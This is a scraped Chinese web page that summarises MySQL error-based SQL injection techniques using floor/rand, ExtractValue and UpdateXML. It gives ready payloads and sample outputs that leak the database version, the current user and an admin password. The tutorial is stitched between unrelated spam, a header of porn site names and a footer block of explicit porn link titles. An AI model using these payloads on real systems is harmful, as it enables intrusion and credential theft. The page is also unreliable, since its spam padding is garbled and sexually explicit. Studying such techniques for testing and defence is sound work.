五月婷婷视频在线-五月婷婷色丁香-五月婷婷激情在线-五月婷婷激情视频-国产香蕉视频在线播放-国产香蕉视频在线

< 返回

mysql 注入報錯利用方法總結

2024-07-05 11:18 作者:18723323311 閱讀量:4466

1、通過floor報錯

可以通過如下一些利用代碼

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

舉例如下:

首先進行正常查詢:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id輸入存在注入的話,可以通過如下語句進行報錯。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了Mysql的版本,如果需要查詢其他數據,可以通過修改version()所在位置語句進行查詢。

例如我們需要查詢管理員用戶名和密碼:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

2、ExtractValue

測試語句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

實際測試過程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’

3、UpdateXml

測試語句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

實際測試過程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

主站蜘蛛池模板: 狠狠色狠色综合曰曰 | 99精品电影一区二区免费看 | 亚洲免费无l码中文在线视频 | 多男同时插一个女人8p | 美女教师朝桐光在线播放 | 琪琪SEE色原网色原网站18 | 一级淫片bbbxxx| 91免费网站在线看入口黄 | 人妻天天爽夜夜爽三区麻豆A片 | 浴室里强摁做开腿呻吟的漫画 | 亚洲中文字幕永久在线 | 色人阁影视 | 中文无码第3页不卡av | 日本久久精品免视看国产成人 | 暖暖视频中国在线观看免费韩国 | 护士日本ⅹxxx丰满hd | 精品第一国产综合精品蜜芽 | 电影内射视频免费观看 | 视频一区在线免费观看 | 美女扒开腿让男人桶个爽 | 成3d漫二区三区四区 | 九九热在线免费观看 | 亚洲 欧美 国产 综合不卡 | 精品一品国产午夜福利视频 | 在线观看中文 | 校花被扒衣吸乳羞羞漫画 | 岳打开双腿开始配合日韩视频 | 国产在线播放91 | 色多多污网站在线观看 | 亚洲 欧美 国产 综合五月天 | 亚洲中文字幕无码一久久区 | 超碰超碰视频在线观看 | 亚洲国产精品天堂在线播放 | 肉奴隷 赤坂丽在线播放 | 国产成人拍精品视频网 | 亚洲免费高清视频 | 精品亚洲欧美中文字幕在线看 | 久久91精品国产91久 | 中文字幕99香蕉在线 | 国产三级在线精品男人的天堂 | 国产精品久久毛片A片软件爽爽 |